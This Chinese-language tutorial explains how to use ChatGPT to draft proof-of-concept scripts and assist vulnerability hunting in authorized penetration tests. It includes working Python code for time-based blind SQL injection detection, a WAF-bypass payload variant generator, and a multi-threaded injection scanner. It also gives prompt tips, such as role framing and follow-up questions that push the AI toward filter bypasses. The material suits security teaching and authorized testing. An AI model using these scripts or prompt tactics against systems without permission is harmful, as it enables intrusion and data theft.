1. 引言

随着大语言模型能力的快速提升,AI 正在渗透测试领域扮演越来越重要的角色。过去,编写 PoC(Proof of Concept,概念验证)和挖掘漏洞往往依赖安全研究员对协议、框架和底层原理的深入理解,整个过程耗时且门槛较高。如今,借助 ChatGPT 等大模型,安全人员可以把大量重复性、模式化的分析工作交给 AI,从而把精力集中在漏洞验证、利用链构造和风险研判等更核心的环节。

本文将从实际工作流出发,介绍如何利用 ChatGPT 辅助自动化编写 PoC 与漏洞挖掘,并给出可运行的代码示例。需要强调的是,AI 是提效工具而非替代品,所有生成内容都必须经过人工复核,并严格遵守授权测试边界。

2. 适用场景与边界

在开始之前,先明确 ChatGPT 在渗透测试中真正擅长的场景,以及必须由人来把关的边界。

2.1 适合交给 AI 的任务

  • 协议与框架分析:快速梳理 HTTP 头、JWT、OAuth、序列化协议等常见机制。
  • 代码审计辅助:对源码片段进行初步的漏洞模式匹配,如 SQL 注入、命令注入、反序列化等。
  • PoC 骨架生成:根据漏洞描述生成可运行的验证脚本框架。
  • Payload 变体生成:针对 WAF 绕过、编码混淆等场景生成多种测试样本。
  • 报告整理:把测试过程整理成结构化的漏洞描述与修复建议。

2.2 必须人工把关的边界

  • 授权确认:任何测试都必须在获得书面授权的目标范围内进行。
  • 漏洞真实性:AI 生成的 PoC 可能存在误报,必须人工验证。
  • 利用链构造:涉及真实利用、提权或横向移动的环节,不能完全依赖 AI。
  • 敏感数据处理:不要把真实业务数据、凭据或未公开漏洞细节直接粘贴给外部 AI 服务。

3. 用 ChatGPT 辅助编写 PoC 的工作流

一个高效的 AI 辅助 PoC 编写流程,通常遵循「描述漏洞 → 生成骨架 → 人工修正 → 本地验证 → 迭代优化」的闭环。下面用一个典型场景说明。

3.1 场景描述

假设在授权测试中发现某 Web 应用存在一个疑似 SQL 注入点,请求形如:

GET /api/user?id=1 HTTP/1.1
Host: target.example.com

手工验证发现参数 id 存在数字型注入,但需要编写一个可复现的 PoC 脚本,用于批量验证多个目标或回归测试。

3.2 向 ChatGPT 描述需求

与其让 AI 凭空生成,不如给出足够清晰的上下文。一个有效的提示词模板如下:

请帮我用 Python 编写一个 SQL 注入 PoC 脚本。目标接口为 GET /api/user?id=1,参数 id 疑似存在数字型注入。脚本需要支持:1)从命令行接收目标 URL;2)使用基于时间的盲注判断注入点是否存在;3)输出结果并支持 --verbose 参数打印详细请求与响应;4)使用 requests 库,代码风格简洁,包含异常处理。

3.3 生成结果与人工修正

ChatGPT 通常会给出类似下面的脚本骨架:

import argparse
import time
import requests

def check_time_based_injection(url, timeout=5):
    """基于时间盲注判断注入点是否存在"""
    payload = "1 AND SLEEP(3)"
    start = time.time()
    try:
        resp = requests.get(url, params={"id": payload}, timeout=timeout + 5)
        elapsed = time.time() - start
        return elapsed >= 3, elapsed
    except requests.RequestException as e:
        print(f"[!] 请求异常: {e}")
        return False, 0

def main():
    parser = argparse.ArgumentParser(description="SQL 注入时间盲注 PoC")
    parser.add_argument("url", help="目标 URL,例如 http://target.example.com/api/user")
    parser.add_argument("--verbose", action="store_true", help="打印详细请求与响应")
    args = parser.parse_args()

    vulnerable, elapsed = check_time_based_injection(args.url)
    if vulnerable:
        print(f"[+] 存在时间盲注,响应耗时 {elapsed:.2f}s")
    else:
        print(f"[-] 未检测到注入,响应耗时 {elapsed:.2f}s")

if __name__ == "__main__":
    main()

拿到骨架后,人工复核的重点包括:

  • 参数拼接方式:确认 payload 是否真的作用于目标参数,而不是被框架过滤。
  • 超时与重试逻辑:网络抖动可能导致误判,需要增加多次请求取平均值的逻辑。
  • 输出可读性:补充响应状态码、响应体片段等关键信息,便于排查。

4. 让 ChatGPT 辅助漏洞挖掘的进阶用法

除了编写单个 PoC,ChatGPT 还能在漏洞挖掘的多个环节提供帮助。下面介绍几种经过实践检验的用法。

4.1 从源码中快速定位可疑模式

在代码审计场景中,可以把一段源码交给 ChatGPT,要求它标注潜在风险点。例如:

String sql = "SELECT * FROM users WHERE id = " + request.getParameter("id");
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);

ChatGPT 能很快指出这里存在 SQL 注入风险,并给出参数化查询的修复建议。但要注意,AI 的静态分析能力有限,对于跨文件的数据流、二次注入等复杂场景,仍需结合人工审计工具。

4.2 生成 Payload 变体用于 WAF 绕过测试

当目标存在 WAF 时,单一 payload 往往会被拦截。可以让 ChatGPT 基于原始 payload 生成编码变体:

import urllib.parse

def generate_variants(base_payload):
    """生成多种编码变体用于 WAF 绕过测试"""
    variants = []
    # URL 编码
    variants.append(urllib.parse.quote(base_payload))
    # 双重 URL 编码
    variants.append(urllib.parse.quote(urllib.parse.quote(base_payload)))
    # 大小写混合(针对关键字过滤)
    variants.append(base_payload.replace("SELECT", "SeLeCt").replace("AND", "AnD"))
    # 注释符分割
    variants.append(base_payload.replace(" ", "/**/"))
    return variants

if __name__ == "__main__":
    payload = "1 AND SLEEP(3)"
    for i, v in enumerate(generate_variants(payload)):
        print(f"[{i}] {v}")

这类变体生成非常适合交给 AI,因为它本质上是模式化、可枚举的转换,人工逐个编写效率很低。

4.3 辅助理解陌生协议与格式

遇到不熟悉的协议或序列化格式时,ChatGPT 可以充当快速查阅的助手。例如分析 JWT 结构、理解 FastJSON 的利用链、梳理 OAuth 2.0 的授权码流程等。把协议片段或报错信息粘贴给 AI,往往能快速获得方向性指引,再结合官方文档深入验证。

5. 一个完整的自动化挖掘示例

下面给出一个更完整的示例,演示如何把「目标枚举 → 注入检测 → 结果输出」串成一个半自动化的挖掘脚本。该脚本仅用于授权环境下的教学演示。

import argparse
import time
import requests
from concurrent.futures import ThreadPoolExecutor

TARGETS = [
    "http://target.example.com/api/user?id=1",
    "http://target.example.com/api/order?id=2",
    "http://target.example.com/api/product?id=3",
]

def test_injection(url, timeout=5):
    """对单个 URL 执行时间盲注检测"""
    payload = "1 AND SLEEP(2)"
    results = []
    for _ in range(3):  # 多次请求取平均,降低网络抖动误判
        start = time.time()
        try:
            resp = requests.get(url.replace("id=", "id=" + payload), timeout=timeout + 3)
            elapsed = time.time() - start
            results.append(elapsed)
        except requests.RequestException:
            results.append(0)
    avg = sum(results) / len(results)
    return url, avg >= 2, avg

def main():
    parser = argparse.ArgumentParser(description="半自动 SQL 注入挖掘示例")
    parser.add_argument("--threads", type=int, default=3, help="并发线程数")
    args = parser.parse_args()

    print("[*] 开始检测...")
    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        futures = [executor.submit(test_injection, url) for url in TARGETS]
        for future in futures:
            url, vulnerable, avg = future.result()
            status = "[+] 疑似注入" if vulnerable else "[-] 未发现"
            print(f"{status} | {url} | 平均耗时 {avg:.2f}s")

if __name__ == "__main__":
    main()

这个脚本把多个候选接口的检测过程自动化,输出结果便于人工进一步验证。实际工作中,目标列表通常来自资产测绘或流量分析,可以动态传入。

6. 提示词工程:让 AI 输出更可靠

要让 ChatGPT 在渗透测试场景中稳定输出,提示词的设计至关重要。以下是几条实用经验。

6.1 明确角色与约束

在提示词开头声明「你是一名资深安全研究员,请基于授权测试场景回答」,并要求 AI 在代码中补充必要的免责声明和异常处理,能显著提升输出的规范性。

6.2 提供上下文而非空泛提问

与其问「怎么挖 SQL 注入」,不如给出具体的代码片段、请求报文或报错信息,让 AI 基于真实上下文分析。上下文越具体,输出越有针对性。

6.3 要求 AI 解释而非只给结论

让 AI 在给出 PoC 的同时解释每一步的原理,例如「为什么这个 payload 能绕过当前过滤」「这个参数为什么存在注入」。这既便于人工复核,也能帮助新人学习。

6.4 迭代式追问

第一次生成的结果往往不够完善。可以通过追问「如果目标存在 WAF 怎么办」「如果参数被转义了如何绕过」等方式,让 AI 逐步细化方案。每一次追问都相当于一次定向优化。

7. 风险与注意事项

AI 赋能渗透测试是一把双刃剑,使用过程中必须保持清醒。

  • 误报率不可忽视:AI 生成的 PoC 可能基于错误的假设,必须结合手工验证和流量分析确认漏洞真实性。
  • 数据泄露风险:不要把真实业务数据、内部系统架构、未公开漏洞细节直接提交给外部 AI 服务,建议使用脱敏后的数据。
  • 法律与授权边界:AI 不会替你判断授权范围,任何测试行为都必须以书面授权为前提,否则可能触犯法律。
  • 模型幻觉:ChatGPT 可能编造不存在的函数、库或利用链,涉及关键步骤时必须查阅官方文档核实。
  • 工具链整合:AI 更适合作为辅助分析层,与 Burp Suite、Nuclei、Semgrep 等专业工具结合使用,而不是完全替代它们。

8. 总结

ChatGPT 在渗透测试中的价值,主要体现在把「模式化、重复性、需要大量背景知识」的工作自动化,例如 PoC 骨架生成、Payload 变体构造、协议理解和代码审计辅助。它并不能替代安全研究员的判断力、创造力和对业务逻辑的深刻理解。

一个务实的落地方式是:把 AI 当作一个随时在线的初级研究员,让它快速产出候选方案,再由经验丰富的工程师进行验证、修正和深化。通过「AI 生成 → 人工复核 → 工具验证 → 迭代优化」的闭环,才能真正把 AI 转化为渗透测试的提效杠杆,而不是引入新的风险源。

Logo

AtomGit AI 社区提供模型库、数据集、Agent、Token等资源

更多推荐